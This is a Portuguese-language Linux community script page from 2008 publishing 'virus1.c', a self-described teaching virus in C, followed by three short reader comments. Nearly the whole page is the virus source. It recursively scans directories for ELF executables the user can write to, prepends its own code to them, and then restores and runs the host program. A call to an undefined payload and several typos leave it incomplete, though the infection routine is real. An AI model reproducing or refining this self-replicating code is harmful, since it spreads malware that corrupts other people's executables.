Vírus didático para Linux em C

Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008

[ Hits: 9.402 ]

Homepage: http://prginfo.blogspot.com

Download virus1.c




Código fonte usado no artigo:  

Vírus de computador e criação de um vírus em C/C++ (parte 1)
http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=8309

Esse vírus tem intuito de iniciar o pensamento lógico na criação de vírus e discutir as dificuldades de se criar um vírus para Linux comparando com a criação para vírus no Windows.

  



Esconder código-fonte

/*
    virus1.c

Obs.: os tipos de arquivos podem ser
10 - link simbólico         lxxx
8  - arquivo                -xxx
6  - arquivo de bloco       bxxx
4  - diretório              dxxx
2  - arquivo de caracter    cxxx
1  - arquivo de paginação   pxxx
*/

#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80

#define tamVir 12239  /* Tamanho do Vírus */
char codvirus [tamVir]; /* conterá o código do vírus */

const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */

int _USER_;
int _GROUP_;
char *_PATH_;

void infecta (char *_arq, struct stat _attr)
{
   /*Essa técnica de infecção foi uma tentativa que deu certo,
     Foi feita gravando byte por bayte pois assim diminui em muito
     o tamanho do código, porém pode ser aperfeiçoado.
     No windows seria fácil, bastaria copiar o vírus para um arquivo
     temporário e depois copiar a arquivo a ser infectado no final do
     temporário, apagar o arquivo original e depois renomear o temp.
     No linux o buraco é "mais embaixo". Apesar de ter direito de escrita
     em um arquivo, o usuário pode não ter direito de escrita no diretório
     onde o arquivo se encontra. Logo não daria para criar o temporário.
     Então pode vir a pergunta. Por que não copia o arquivo para um temporário
     em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui
     o temporário no final? O problema é que teria que varrer todo o disco
     procurando um diretório em que p usuário tivesse direito de escrita
     correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário
     home me dá garantia que posso escrever nele ou se o usuário que irá executar
     o vírus tem diretório home. Por que, então não guardar o executável na memória,
     sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final?  Porque
     nada garante que dependendo do tamanho do executável e da memória disponível
     irá ter espaço suficiente, principalmente se estiverem sendo executados várias
     estâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus
     ficará na memória idefinidamente, essa solução me pareceu melhor.*/

   FILE *file_exec;
   FILE *file_tmp;

   char buf[1024];
   char *tmp;
   long i;
   
   if (!(file_exec=fopen(_arq, "rw+"))) return;

   tmp=(char *)malloc(strlen (_arq)+4);
   strcpy (tmp, _arq);
   strcat (tmp,".tmp");

   if (file_tmp=fopen(tmp, "w+"))     
   {

      unlink(tmp);
      /* Copiando o hospedeiro para o temporário */
      while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);

      /* Voltando ao início dos arquivos */
      fseek(file_tmp,0 ,SEEK_SET);
      fseek(file_exec,0 ,SEEK_SET);

      /* copiando para dentro do arquivo original, poupamos tempo com permissões */
      /*Gravando o código do vírus no arquivo temporário*/
      fwrite(codvirus,1,tamVir,file_exec);     
  
      /* voltando o original para depois do vírus */
      while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
   } 
   free(tmp);
   close (file_tmp);
   close (file_exec);
}

void tentaInfectar (char *arq)
{
   FILE *file_exec;
   long ret;
   char bout[25];
   int i;

   /* vamos pegar os atributos do arquivo */
   struct stat attrib;   
   stat(arq, &attrib);
   
   /* verificando se o arquivo é binário
      Todo executavel binário assim como no windows
      tem um cabeçalho identificando. 
      Não sei o significado mas abri vários binários
      e sem excessão eles têm os seguintes primeiros
      24 byts = CABEC_EXEC */
     
   if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direiro de leitura, não serve */
   
   ret = fread (bout, 1, 24, file_exec);
   /*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
   if (ret <= 0)
   { 
      close (file_exec);
      return;
   }

   for (i=0; i<=23; i++)      
   {
      /* Se tiver alguma diferença no cabeçalho, não é binário */
      if (CABEC_EXEC[i] != bout[i])
      {
         close (file_exec);
         return;         
      }
   }
 
   /* Se o usuário for root ou for igual ao dono do arquivo
      no caso do grupo, tem que ter direito de escrita
      outro caso é se o arquivo der direito de escrita para todos
      nestes 4 casos, podemos continuar */
   if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;

   infecta (arq, attrib);
}


void buscaInfecta (char *d)
{
   struct dirent *dir;
   DIR *path;
   char *strArq;
   char *dt;
   int tam;

   tam = strlen(d);
   dt=(char *)malloc (tam+1);
   strcpy (dt, d);
   /* retirando a barra do fim do nome em caso de diretório para ficar padrão
      quando for diretório a barra será recolocada*/
   if (dt[tam-1]=='/') 
   { 
      dt[tam-1]='{TEXTO}';  
      tam--; 
   }

   if (!(path=opendir (dt))) { free (dt); return; }
   while(dir = readdir(path)) 
   {  
      usleep (1000);
      strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
      strcpy (strArq, dt);
      strcpy (&strArq[tam], "/"); 
      strcpy (&strArq[tam+1], dir->d_name);

      if  ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
         buscaInfecta (strArq);
      else if (dir->d_type==8)
         tentaInfectar (strArq);

      free (strArq);
   }
   closedir (path);
   free (dt);
}

void pegaDadosExport (void)
{
    /* Pegando a Variavel PATH do sistema */
   _PATH_ = getenv("PATH"); 

   /* pegando id do usuário e do grupo do usuário que está executando a aplicação */
   _USER_ = getuid();
   _GROUP_= getgid();
}


int pegaCodVirus (char *exec)
{
   /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
      ou o diretório do arquivo está no path */

   FILE *file_exec;
   char *diret;
   char *tmp;
   int i=0, j=0;
   int tamstr;
   int achou=0;
   long ret;

   /* caso não tenha digitado todo o path do arquivo */
   if (!(file_exec=fopen(exec,"r")))
   {
      tamstr=strlen(exec);

      /* Busca no PATH do sistema*/
      while (1)
      {
         if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
         {
            tmp=&_PATH_[j];
            diret=(char *)malloc(i-j+tamstr+2);
            strncpy (diret, tmp, i-j);
            diret[i-j]='{TEXTO}';
            strcat (diret, "/");
            strcat (diret, exec);
         
            if (file_exec=fopen(diret,"r"))
            {
               free (diret); 
               achou = 1;
               break;
            }
            
            free (diret); 
            if (_PATH_[i]=='{TEXTO}') break;
            j=++i;
         }
         else i++;
      }
      if (!(achou)) return 0;
   }

   ret = fread (codvirus, 1, tamVir, file_exec);
   if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/
   { 
      close (file_exec);
      return 0;
   }

   close (file_exec);
   return 1;
}

void executaHospedeiro (char *exec, int qtde, char *param[])
{
   /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
      ou o diretório do arquivo está no path */

   FILE *file_exec;
   FILE *file_tmp;
   char *diret;
   char *tmp;
   char tmpstr[1024];
   int i=0, j=0;
   int tamstr;
   int achou=0;
   long ret;
   char prog[512];

   /* caso não tenha digitado todo o path do arquivo */
   if (!(file_exec=fopen(param[0],"r")))
   {
      tamstr=strlen(param[0]);

      /* Busca no PATH do sistema*/
      while (1)
      {
         if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
         {
            tmp=&_PATH_[j];
            diret=(char *)malloc(i-j+tamstr+2);
            strncpy (diret, tmp, i-j);
            diret[i-j]='{TEXTO}';
            strcat (diret, "/");
            strcat (diret, param[0]);
         
            if (file_exec=fopen(diret,"r"))
            {
               free (diret); 
               achou = 1;
               break;
            }
            
            free (diret); 
            if (_PATH_[i]=='{TEXTO}') break;
            j=++i;
         }
         else i++;
      }
      if (!(achou)) return;
   }

   strcpy (prog,exec);

   for (ret=1; ret<qtde; ret++)
   {
      strcat (prog," ");
      strcat (prog,param[ret]);
   }
   
   if (!(file_tmp=fopen(exec,"w+")))
   {
      close (file_tmp);
      return;
   }

   fseek(file_exec,tamVir,SEEK_SET);
   while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);

   close (file_exec);
   close (file_tmp);

   chmod (exec,493);

   system (prog);

   unlink(prog);
   return;
}

int main (int argc, char *argv[])
{
   int i;

   i=fork();

   if (i==0)
   {
      pegaDadosExport ();

      /* pega o código binário do vírus para infectar os outros ou então pula a infecção */
      if (pegaCodVirus (argv[0])) buscaInfecta ("./");
      acao();
   }
   else executaHospedeiro ("./arqexec", argc, rgv);
}

Scripts recomendados

Cálculo de Fatorial usando Loop

Teste de desempenho com números primos em C

Fazendo o somatório de 1 até N

Função para exibir todos os divisores de um numero

Jogo da Forca


  

Comentários
[1] Comentário enviado por gabrielbiga em 24/01/2009 - 14:39h

Nossa cara! muito bacana esse teu vírus, o codigo ta muito bem organizado.
O unico problema é testar pra ver se funciona mesmo kkkkkkkkkkkkk

falows e parabéns.

[2] Comentário enviado por luizvieira em 02/06/2009 - 10:10h

Show!
Código muito bem escrito.
Vou analisá-lo melhor e testá-lo em uma MV.
[ ]'s

[3] Comentário enviado por maurixnovatrento em 10/05/2020 - 22:51h


É de dez anos atrás. Mas que é interessante é.

___________________________________
Conhecimento não se Leva para o Túmulo.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts